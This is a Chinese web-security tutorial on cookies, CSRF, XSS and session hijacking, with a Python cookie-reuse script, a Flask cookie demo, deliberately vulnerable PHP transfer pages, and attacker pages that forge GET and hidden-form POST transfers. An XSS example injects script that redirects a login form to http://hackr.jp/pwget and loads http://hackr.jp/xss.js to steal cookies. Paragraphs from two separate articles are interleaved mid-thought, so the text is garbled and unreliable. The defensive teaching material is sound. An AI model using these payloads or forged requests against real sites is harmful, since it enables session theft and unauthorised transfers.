利用cookies获取登录后的网页,web攻击技术与防护
分类:多线程

利用cookies获取登录后的网页,cookies获取

  众所周知,HTTP连接是无状态的,那么问题来了,怎么记录用户的登录信息呢?通常的做法是用户第一次发送HTTP请求时,在HTTP Server端生成一个SessionID,SessionID会对应每个会话的状态(比如是否登录,等等),并且将SessionID保存在浏览器的cookies中。我们登录一个网页后,打开另外一个窗口访问相同的网页不需要登录,就是因为两个网页都对应同一个cookies。

  有时在做python爬虫时,需要访问登录后才可以访问的网页,利用已经登录的cookie文件就可以达到此目的。下面以迅雷网为例来做实验,实验平台为Linux。

  1. 首先在Firefox浏览器端登录迅雷网,使用Firebug插件导出cookies。

  2. 修改cookies的格式,假设文件名为xunlei.txt,正确的格式如下:

 1 # Netscape HTTP Cookie File.
 2 # Generated by Wget on 2015-06-27 23:54:34.
 3 # Edit at your own risk.
 4 
 5 .dynamic.i.xunlei.com   TRUE    /   FALSE   1498494348  __utma  74633479.1276576155.1435422349.1435422349.1435422349.1
 6 .i.xunlei.com   TRUE    /   FALSE   1498494325  __utma  112570076.1792933177.1435422325.1435422325.1435422325.1
 7 .dynamic.i.xunlei.com   TRUE    /   FALSE   1435424148  __utmb  74633479.1.10.1435422349
 8 .i.xunlei.com   TRUE    /   FALSE   1435424125  __utmb  112570076.1.10.1435422325
 9 .dynamic.i.xunlei.com   TRUE    /   FALSE   1498494348  __utmc  74633479
10 .i.xunlei.com   TRUE    /   FALSE   1498494348  __utmc  112570076
11 .i.xunlei.com   TRUE    /   FALSE   1435422925  __utmt  1
12 .dynamic.i.xunlei.com   TRUE    /   FALSE   1451190348  __utmz  74633479.1435422349.1.1.utmcsr=i.xunlei.com|utmccn=(referral)|utmcmd=referral|utmcct=/login.html
13 .i.xunlei.com   TRUE    /   FALSE   1451190325  __utmz  112570076.1435422325.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
14 dynamic.i.xunlei.com    FALSE   /   FALSE   1498494348  __xltjbr    1435422347556
15 dynamic.i.xunlei.com    FALSE   /   FALSE   1435424148  _s19    1435770994546b1435422324953b2bhttp%3A//dynamic.i.xunlei.com/user
# cookies行数比较多,就不写了,有三个地方注意:
# 1.第一行不能少,并且一个字符都不能错。
# 2.格式要严格为(空白处为TAB):

域 [TRUE或FALSE]  / [TRUE或FALSE]  过期时间戳  名称  内容

  3. 使用python代码读取xunlei.txt,并访问登录后才能访问的网页,例如:

下面为源代码:

 1 import cookielib, urllib2
 2 
 3 cookie = cookielib.MozillaCookieJar()
 4 cookie.load("xunlei.txt")
 5 handle=urllib2.HTTPCookieProcessor(cookie)
 6 opener = urllib2.build_opener(handle)
 7 urllib2.install_opener(opener)
 8 
 9 url = "http://dynamic.i.xunlei.com/user"
10 req = urllib2.Request(url)
11 response = urllib2.urlopen(req)
12 print response.read()

  4. 打印出来的代码即为我登录后,在

 

  以上的原理与CSRF攻击的原理类似,CSRF攻击的就是利用非法获得用户cookies,伪装成用户进行操作。针对这种攻击,web站点可以生成token,HTTP Server会验证每次请求的token,来避免CSRF攻击,例如Django的CsrfViewMiddleware。

  但是token依然被放在了cookies中,依然可以进行CSRF攻击,只不过攻击的方式复杂了些。

众所周知,HTTP连接是无状态的,那么问题来了,怎么记录用户的登录信息呢?通常的做法是用户第...

flask操作cookie

图片 1

app.py

from flask import Flask, request, Response

app = Flask(__name__)


@app.route('/')
def add_cookie():  # 返回操作面板
    link = '''
        <div>
            <h1>cookie 操作台</h1>
            <p><a href="/add_cookie">add cookie</a></p>
            <p><a href="/show_cookie">show cookie</a></p>
            <p><a href="/del_cookie">del cookie</a></p>
        </div>
    '''
    return link


@app.route('/add_cookie')
def set_cookie():
    res = Response("add cookies")
    res.set_cookie(key="name", value="maotai")  # 添加cookie
    return res


@app.route('/show_cookie')
def show():
    return request.cookies.__str__()  # 获取cookie,并打印到前台


@app.route('/del_cookie')
def del_cookie():
    res = Response('delete cookies')
    res.set_cookie('name', '', expires=0)  # 删除cookie,即让它过期
    return res


if __name__ == '__main__':
    app.run(debug=True)

其他flask教程进阶

平时经常听到人们说别乱点链接,小心有病毒。还有长辈们转发的“天呐~XXX的阴谋,全是病毒”、“XXX惊天大病毒,点了苹果手机就要爆炸!”、“现在转发热门连接会乱扣费!千万别点!”。

一、跨站脚本攻击(XSS)

设置cookie: name:maotai

 res.set_cookie(key="name", value="maotai") 

图片 2

http response有set-cookie

再次访问这个域的时候就会携带这个cookie了.

图片 3

        跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器运行非法的HTML标签或JavaScript进行的一种攻击。动态创建的HTML部分有可能隐藏着安全漏洞。就这样,当攻击者编写脚本,设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。

查看cookie: name: maotai

图片 4

到底长辈们说的这些是对的还是错的,是真的还是假的?下面我用通俗易懂的语言为大家剖析。

        跨站脚本攻击有可能造成以下影响:

删除cookie

res.set_cookie('name', '', expires=0) 

图片 5

再次查看cookie: 已经没有name: maotai了
图片 6

可见可以看到这里的cookie解决了http无状态问题, 可以用于登录, 一次登录, 可以以这个身份访问所有页面.

接下来可以看下, 具体的细节了.

CSRF攻击就是假装你去行骗

首先我们说说CSRF(Cross-site request forgery),它的中文名称是跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

简单地说,CSRF就是利用了我们的登录状态或者授权状态(请注意“利用”,并没有窃取到),然后做一些损害我们自身利益的事情。

举个例子,CSRF就是使用我们微信头像和昵称,然后去跟咱爸妈要钱。“爸,生活费不够了。你打到XXX账户上”,爸爸看见头像和昵称以为是亲生的就转账了。如此,行骗成功。

图片 7

  • 利用虚假信息骗取用户个人信息
  • 利用脚本窃取用户的Cookie值,被害人在不知情的情况下,帮攻击者发送恶意请求。
  • 显示伪造的文章或图片。

cookie和session是怎么回事?

Cookie是HTTP协议中的一种会话机制。也明白下面两个问题就好了

1、What 什么是Cookie

2、How Cookie怎么用,干嘛用

  • cookie, settsion原理图
    图片 8

  • 交互过程

① 客户端访问,无服务端写入的Cookie
② 服务端的Cookie写入浏览器
③ 浏览器解析Cookie,保存至浏览器文件
④ 客户端访问,有服务端写入的Cookie
⑤ 服务器获取

图片 9

GET方式造成的CSRF攻击

长辈们说得对,链接确实不能随便点。我用简单的代码举个例子。

        跨站脚本攻击案例

浏览器端的cookie-字典格式,kv格式

图片 10

特点:
图片 11

信任的网站test.com

假设我们有一个银行账户,其中有一个登录页面login.php和付款页面paybill.php,这些页面都属于我们信任的网站test.com(test.com网站是虚拟的)。

在login.php中设置cookie进行登录:

<?php
    setcookie('uid', 1, time()+86400);
    echo "your uid is {$_COOKIE['uid']}";

在paybill.php通过身份验证后进行扣款,但是必须输入收款人和扣款金额:

<?php
   //身份验证
    if (!isset($_COOKIE['uid']) || $_COOKIE['uid']< 0) {  
        die('login error!');
    }
   //金额获取   
    if (!isset($_GET['money'])) {
        die('no money');
    }   
   //收款人获取
    if (!isset($_GET['to_who'])) {
        die('nobody');
    }   
    $uid = $_COOKIE['uid']; 
    $money = $_GET['money'];
    $to_who = $_GET['to_who'];
   //此处应该还有相关DB操作,省去一万字
    echo "transfer {$money} yuan to {$to_who}!";

刷新一下login.php,进行登录(实际的用户登录更为复杂,这里简化了)

图片 12

登录信任的网站test.com

在浏览器访问paybill.php页面,转钱1000元给妈妈。
http://test.com/csrf/paybill.php?money=1000&to_who=mama

图片 13

转账1000元给妈妈

        1. 在动态生成的HTML处发生

简单小实验--复制cookie实现登录

一个浏览器已经登录了blog, 另一个没登录, 复制登陆的cookie到另一个浏览器, 另一个浏览器也登录了.
图片 14

todo:
其实原本的这个cookie没啥意思, 可以研究下xss和cookie过大攻击等.

黑客网站

这时候黑客发现test.com网站没有做任何防御措施,他立刻在自己的网站B上伪造了一个页面,页面上有这么一个链接,他的收款人to_who变成了hacker。

<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
        <a href="http://test.com/csrf/paybill.php?money=1000&to_who=hacker" taget="_blank">震惊!!史上尺度最大的照片!!<a/>
    </body> 
</html>

假设因为好奇心点击了该连接:

图片 15

伪造的链接

这样就转了1000元给了hacker

图片 16

为什么会出现这种情况,我们在别的网站点击链接居然能扣自己账户的钱?点击链接前,我们已经登录了信任网站test.com,而这个test.com/csrf/paybill.php?money=1000&to_who=hacker这个连接是我们自己发送的,test.com会识别当前已经登录,然后转账,test.com网站无法判断到底是谁让我们点击的。

从上面这个实例可知,完成CSRF攻击流程:
1、用户登录了信任的网站A,并且保存登录状态。
2、黑客找出网站A没有防御的链接,通过社会工程学伪装,诱导点击。
3、只要登录状态保持,用户主动访问目标链接,则攻击成功。

有人说那每次访问其他网站,把之前的网站都注销。是的,这个办法可以,但这么做这现实吗?我们需要注销许多常用的网站,下次登录又要输入用户名和密码,极其反人类。这肯定不是最佳办法,防御措施应该让程序员考虑,用户别乱点链接是最重要的。

图片 17

CSRF的攻击渠道不一定来自其他网站,也可以是广告邮件、QQ空间、微信、facebook等社交媒体或软件。试想一下,如果你的女朋友知道这个链接,她在QQ上发给你:

http://test.com/csrf/paybill.php?money=1000&to_who=girlfriend你点击后,那就转了1000元给女朋友,假设她将money改成10w,后果真的不敢想象,你居然存了这么私房钱,跪搓衣板吧,钱也都到了你女朋友账户上。

好了,小白用户看见这里可以关闭,别乱点链接就对,该给女朋友的钱的还是一分不能少。

        在编辑个人信息的页面处输入<s>Username</s>,此时的确认界面上,浏览器会把用户输入的<s>解析成HTML标签,然后显示出删除线,删除线的显示不会造成太大的不利影响,但如果换成使用<script>标签将会带来不可估量的影响。

csrf攻击原理

POST也能造成CSRF攻击

上面的CSRF可以说相当危险,更新资源的操作不应该使用GET方式,GET方式只应该用于读操作。更新操作一定要使用POST方式,特别涉及到钱的问题。

然而POST方式可以解决大部分的CSRF问题,还有剩下少部分的聪明的黑客,一样能够模拟POST请求,伪造身份进行攻击。

假设paybill.php 我们修改为POST取:

<?php
    if (!isset($_COOKIE['uid'])) {
        die('login error!');
    }   
    if (!isset($_POST['money'])) {
        die('no money');
    }   
    if (!isset($_POST['to_who'])) {
        die('nobody');
    }   
    $uid = $_COOKIE['uid']; 
    $money = $_POST['money'];
    $to_who = $_POST['to_who'];
    if ($uid > 0) {
        echo "transfer {$money} yuan to {$to_who}!";
    }   

访问http://test.com/csrf/paybill.php?money=1000&to_who=girlfriend,提示没有money

图片 18

但是道高一尺魔高一丈,聪明的黑客也改进了代码,使用POST提交,并且money改为2000:

<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
        <form action="http://test.com/csrf/paybill.php" method="post">
            <input type="hidden" name="money" value="2000">
            <input type="hidden" name="to_who" value="girlfriend">
            <input type="submit" value="点击中大奖">
        </form>
    </body> 
</html>

点击中大奖,如下(又转了2000元给女朋友):

图片 19

转账2000给女朋友

抓包结果如下,可以看到Cookie: uid=1和money=2000&to_who=girlfriend都已发送过去。

POST http://test.com/csrf/paybill.php HTTP/1.1
Host: test.com
Referer: http://hack.com/hack/welcome.php
Cookie: uid=1

money=2000&to_who=girlfriend

如此一来,不管哪种访问方式都可能受到攻击。所以,这并不是GET和POST谁更安全的问题,POST只是提高了攻击门槛和成本(其实也就多几行html和js)。

划重点,那么CSRF能够攻击的根本原因是:服务器无法识别你的来源是否可靠。

        2. 利用预先设置的陷阱触发的被动攻击

csrf攻击流程

图片 20

具体流程
图片 21

- 文字描述

通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。

黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。

Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。

这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。

当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。

但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。

等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

防御CSRF的思想

那么防御的方法有很多:
1、比如加上验证码。但这么做很繁琐,并且影响用户体验。
2、比如转账需要二次密码验证,现在很多银行就这么搞的。
3、确认来源是否可靠(推荐)

不管防御方法1还是2,都是让用户自身再次确认授权。
这种安全防范的事儿,更应该由程序验证。

根据验证是否可靠性思路,可以有以下几种方法:

  • ### 验证HTTP Referer 字段

HTTP协议里面定义了一个访问来源的字段,这个字段叫Referer。黑客伪造的链接或表单是在其他网站上,所以我们可以判断Referer是否为自身网站,如果是,则允许访问,如果不是,则拒绝访问。

从我们的网站访问paybill.php,抓包发现Referer是不存在的

"HTTP_REFERER"=>""

从黑客的网站访问paybill.php,抓包发现Referer来自黑客网站

["HTTP_REFERER"]=> string(35) "http://hack.com/welcome.php"

然后代码里判断:

if  (HTTP_REFERER!="")  {
    die('可能是CSRF攻击,拒绝访问');
} else {
    die('允许访问');
}

所以我们只需要拦截Referer就可以判断是否为攻击。
但是这种方法是有缺陷的,上面实验尝试过,如果对方在QQ上发送给你一个链接呢?点击的时候属于主动点击,此时一样没有Referer。程序会把它归属为安全请求,那么就被绕过了。并且如果某些低版本的浏览器存在漏洞(比如IE6),Referer很有可能被篡改,所以这个方法并非十全十美。

  • ### 服务端验证请求的token一致性

csrf攻击的核心原理就是利用用户验证信息储存cookie中,发送请求,使得服务器无法判断真伪,而token之所以能够拦截,就是因为它是csrf攻击过程中几乎不可能伪造的东西。

实现原理:在服务端生成一个随机的token,加入到HTTP请求参数中,服务器拦截请求,查看发送的token和服务端的是否一致,若一致,则允许请求;若不一致,则拒绝请求。

新增form.php表单页面,将token存入session(不要存在cookie中,你懂的):

<?php
session_start();
$csrf_token = md5(openssl_random_pseudo_bytes(32));//生成随机token
$_SESSION['token']= $csrf_token;
?>
<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>csrf</title>
</head>
<body>
    <h1>转账</h1>
    <form action="paybill.php" method="POST">
        money:<input type="text" name="money">
        to_who:<input type="text" name="to_who">
        <input type="hidden" name="token" value="<?php echo $csrf_token ?>">
        <input type="submit" value="ok">
    </form>
</body>
</html>

在paybill.php获取token,与session中存储的token判断是否一致:

<?php
    session_start();
    if (! isset($_COOKIE['uid'])) {
        die('login error!');
    }   
    if (! isset($_POST['money'])) {
        die('no money');
    }   
    if (! isset($_POST['to_who'])) {
        die('nobody');
    }   
    if (! isset($_POST['token']) || $_POST['token'] !=  $_SESSION['token']) {
        die('forbidden');
    }   
    $uid = $_COOKIE['uid']; 
    $money = $_POST['money'];
    $to_who = $_POST['to_who'];

    if ($uid > 0) {
        echo "transfer {$money} yuan to {$to_who}!";
    }   

查看页面form.php:

图片 22

请求成功:

图片 23

每次访问表单页面,都应该生成一个token:

<input type="hidden" name="token" value="a88f67a7effa917450cff12e179df35d">

我们再尝试从黑客网站进行访问,显示"forbidden",证明在token验证时被拦截:

图片 24

这样子就已经有效防御csrf攻击。该方法可以用于a链接和表单等请求,属于同一个原理。

注意:网上很多文章并没有生成唯一的或者随机性较大的token,都是同一个token,这是有问题的,如果黑客看到该token,一样可以伪造请求,进行攻击。

        当通过地址栏中的URL的查询字段指定ID时,相当于在表单内自动填写字符串的功能,此时隐藏着可执行跨站脚本攻击的漏洞。如果攻击者创建嵌入恶意代码的URL。并隐藏植入事先准备好的欺诈邮件中或Web页面内,诱使用户去点击该URL。

csrf攻击对象

在讨论如何抵御 CSRF 之前,先要明确 CSRF 攻击的对象,也就是要保护的对象。从以上的例子可知,CSRF 攻击是黑客借助受害者的 cookie 骗取服务器的信任,但是黑客并不能拿到 cookie,也看不到 cookie 的内容。另外,对于服务器返回的结果,由于浏览器同源策略的限制,黑客也无法进行解析。 因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。所以,我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行 CSRF 的保护。比如银行系统中转账的请求会直接改变账户的金额,会遭到 CSRF 攻击,需要保护。而查询余额是对金额的读取操作,不会改变数据,CSRF 攻击无法解析服务器返回的结果,无需保护。

Ajax防御CSRF

实际上A jax防御的思想也可以利用上面的token验证方式。

在IBM上看过一篇文章说Ajax防御时,在 HTTP 头中自定义属性并验证token。

它是这么说的:

把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

个人觉得不需要如此麻烦,易用性也不太好,直接对Aajx进行一次封装,加入一个open_token的选项,true就把token也发送过去,否则不进行验证,原理和上面是一样的。

最好将token赋值给js的一个全局变量,整个网站都可以使用。

http://example.jp/login?ID="><script>var+
f=document.getElementById("login");+
f.action="http://hackr.jp/pwget";+
f.method="get";</script>");

<script src="http://hackr.jp/xss.js"></script>

防御策略:在请求地址中添加 token 并验证

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 。 而对于 POST 请求来说,要在 form 的最后加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。

总结

OWASP 2017年的十大安全威胁已经公布了,我们可以看看2013年和2017年CSRF稳稳排在第八位。

图片 25

OWASP

总之,CSRF是一种常见的Web安全威胁,它攻击特点是利用用户身份信息伪装,发送请求,造成危害。这种攻击成本极低,但网站和用户不注意,很容易受到伤害。当然,更令人欣赏的是黑客利用社会工程学欺骗大众,这才是最重要的。

如果大家对社会工程学感兴趣,推荐一部电影——《我是谁:没有绝对安全的系统》,非常精彩。

图片 26

没有绝对安全的系统

互联网安全你攻我防,你枪我盾,没有永远灵验的方法,只有学会攻击,才能抵御攻击。

        在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段Javascript程序,即可访问到该Web应用所处域名下的Cookie信息。然后这些信息就会发送至攻击者的Web网站,记录在他的登陆日志中。这样,攻击者就可以窃取到用户的Cookie信息了。

http://example.jp/login?ID="><script src='http://hackr.jp/xss.js'></script>"

        防御方案:

  • 设置Cookie的HttpOnly属性,它使javascript脚本无法获得Cookie

    Set-Cookie: name=value; HttpOnly

        设置后,通常还可以从Web页面对Cookie进行读取操作。但使用Javascript的document.cookie就无法读取附加HttpOnly属性后的Cookie内容了。

  • 首部字段X-XSS-Protection

    X-XSS-Protection: 1

        该首部字段是HTTP响应首部,它是针对跨站脚本攻击的一种对策,用于控制浏览器XSS的防护机制的开关。0:将XSS过滤设置成无效状态。1:将XSS过滤设置成有效状态。 

  • 过滤或移除特殊的HTML标签,如<script><iframe>,<、>、"等用实体<、>、"替代。
  • 对数据进行HTML Encode处理

       用户提交的数据进行HTML编码,将相应的符号转换为实体名称再进行下一步处理。

  • 过滤JavaScript事件的标签。例如"onclick=","onfocus"等等。
  • 表单数据规定值的类型,例如年龄只能为int,name只能为字母数字下划线组合

二、跨站点请求伪造(XSRF)

        跨站点请求伪造攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新。

        跨站点请求伪造可能造成如下影响:

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品、虚拟货币转账等
  • 利用已通过认证的用户权限在留言板上发表评论

        跨站点请求伪造的攻击案例

         1. 银行转账

        受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。

        黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行: Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。

        这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=” ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。 

        2. 留言板功能

        在留言板系统上 ,受害者用户A是已认证状态,在他的浏览器中的Cookie持有已认证的会话ID

GET/HTTP/1.1
Host: example.com
Cookie: sid=1234567890

        攻击者在留言板上发表含有恶意代码的评论

<img src="http://example.com/msg?q=你好">

        设置好后一旦用户访问,即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器在完成陷阱中的请求后,留言板上也就会留下那条评论。用户A的浏览器中的Cookie持有已认证的会话ID,利用用户A的权限执行发表动作。

GET/msg?q=你好 HTTP/1.1
Host: example.com
Cookie: sid=1234567890

        防御方案

  • 验证HTTP Referer字段

        首部字段Referer会告知服务器请求的原始资源的URI。通常,访问一个安全受限页面的请求来自于同一网站,比如访问 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

        这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

        然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。

        即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。客户端一般都会发送Referer首部字段给服务器。但当直接在浏览器的地址栏中输入URI,原始资源的URI中的查询字符串可能含有ID和密码等保密信息,要是写进Referer转发给其他服务器,则有可能导致保密信息的泄漏。除此之外,由于 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。

  • 在请求地址中添加Token并验证

         CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

        这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 而对于 POST 请求来说,要在 form 的最后加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。

         该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

  • 在HTTP头中自定义属性并验证

       这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

        然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是难以令人接受的。

 三、Session攻击

        1. 会话劫持攻击

        会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。

        具备认证功能的Web应用,使用会话ID的会话管理机制,作为管理认证状态的主流方式。会话ID中记录客户端的Cookie等信息,服务端将会话ID与认证状态进行一对一匹配管理。

        有下面几种攻击者获取会话ID的途径。

  • 通过非正规的生成方法推测会话ID
  • 通过窃听或XSS攻击盗取会话ID
  • 通过会话固定攻击(Session Fixation)强行获取会话ID

        攻击步骤:

图片 27

        会话劫持攻击案例

         以认证功能为例,通过会话管理机制,会将成功认证的用户的会话ID(SID)保存在用户浏览器的Cookie中。

        攻击者在得知该Web网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用Javascript脚本调用document.cookie以窃取Cookie信息的陷阱,一旦用户踏入了这个陷阱,攻击者就能获取含有会话ID的Cookie。攻击者拿到用户的会话ID后,往自己的浏览器的Cookie中设置该会话ID,即可伪装成会话ID遭窃的用户,访问Web网站了。

        会话劫持防护:

  • 关闭透明化的SessionID。透明化的SessionID指当浏览器中的HTTP请求没有使用Cookie来存放SessionID时,SessionID则使用URL来传递。
  • 设置HttpOnly。通过设置Cookie的HttpOnly,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击,进而防止Cookie的非法窃取。
  • 验证HTTP头部信息。在http访问头文件中:[Accept-Charset、Accept-Encoding、Accept-Language、User-Agent],一般浏览器发出的头部不会改变。

        确保User-Agent头部信息一致的确是有效的,如果会话标识通过cookie传递,攻击者能取得会话标识,他同时也能取得其它HTTP头部。由于cookie暴露与浏览器漏洞或跨站脚本漏洞相关,受害者需要访问攻击者的网站并暴露所有头部信息。则攻击者只需重建头部即可进行攻击了

  • 需要先做好XSS防御。

         2. 会话固定攻击

